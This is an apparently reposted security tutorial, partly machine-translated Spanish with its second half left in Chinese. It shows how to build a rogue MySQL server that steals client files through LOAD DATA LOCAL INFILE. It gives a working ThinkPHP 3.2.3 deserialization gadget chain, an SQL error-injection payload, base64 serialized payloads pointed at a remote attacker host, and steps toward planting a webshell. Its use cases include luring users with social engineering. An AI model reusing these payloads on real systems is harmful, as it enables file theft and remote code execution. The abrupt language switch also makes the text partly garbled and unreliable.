【Seguridad de red】¿Cómo construir un servidor malicioso MySQL para leer archivos?

prefacio

Nota: Este artículo no involucra la investigación de los paquetes del protocolo MySQL, sino que solo explica el principio y hace algunas demostraciones.

Construir un servidor malicioso MySQL para leer archivos, aunque el umbral para el uso directo es relativamente alto, pero debido a que vi una forma de uso relativamente novedosa en Internet (usando la ingeniería social para atraer a los usuarios a conectarse a MySQL y luego leer los archivos de los usuarios), Personalmente, creo que es relativamente Interesante, resumió el principio de ataque y el método de ataque, por lo que existe este artículo.

principio

Antes de explicar los principios específicos, se introducen algunas sentencias de SQL para que se comprendan más adelante.

Primero cree un nuevo tmp.txt en el directorio tmp

El contenido es el siguiente:

Luego ejecute la siguiente instrucción SQL para importar el archivo tmp.txt:

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0
​
mysql> select * from Test;
+-------+
| name  |
+-------+
| admin |
| user  |
| Lxxx  |
+-------+
3 rows in set (0.00 sec)
复制代码
  • La instrucción de archivo local de datos de carga leerá el archivo local del cliente
  • La declaración de archivo de datos de carga leerá el archivo local en el servidor
  • terminado por medio de dividir por un cierto carácter, el valor predeterminado es Tab, aquí lo configuro en \n

En este momento, puede no estar claro qué es un servidor y qué es un cliente.

Debido a que, en general, el SQL de depuración está en la máquina local y la base de datos también está en la máquina local. Esta situación lleva al hecho de que el cliente y el servidor son locales, lo cual es un poco difícil de distinguir. Usaré una imagen para describirlo brevemente a continuación.

Localmente, dado que el cliente y el servidor están en el mismo disco, localmente, los archivos se pueden transferir a la base de datos independientemente de si se agrega local o no, y la vulnerabilidad del uso del servidor malicioso MySQL para leer archivos se discutirá más adelante. para usar local para lograr el propósito de sacar el archivo.

[Ver documentos relacionados]
1. Ruta de aprendizaje de seguridad de red
2. Libros electrónicos (sombrero blanco)
3. Video internoseguridad4, 5. Paquete de preguntas comunes de entrevistas de seguridad
100 documentos src8. Notas de respuesta de emergencia



A continuación, dibujé dos imágenes, la primera imagen es el proceso comercial normal y la segunda imagen es el proceso de ataque malicioso por parte del atacante.

El proceso comercial back-end normal es el siguiente:

Cuando el atacante secuestra el servidor backend y construye MySQL malicioso en la red pública, el diagrama de flujo es el siguiente:

这样攻击者就可以在后端达到任意文件下载的目的。

演示

虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。

首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。

<?php
namespace Home\Controller;
​
use Think\Controller;
​
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
复制代码

具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。

  1. 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口;
  2. 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell。

这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
​
复制代码

上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
复制代码

传给url

可以看到报错注入成功。

然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件。

下载好POC之后,修改一下要读取的文件名。

然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口。

python rogue_mysql_server.py
复制代码

接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
复制代码

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==
复制代码

传给HomeController控制器,

然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件。

现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了。

使用场景

  • 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell);
  • 能引诱用户连接恶意MySQL(社会工程学)。

Supongo que te gusta

Origin juejin.im/post/7084205146233634853
Recomendado
Clasificación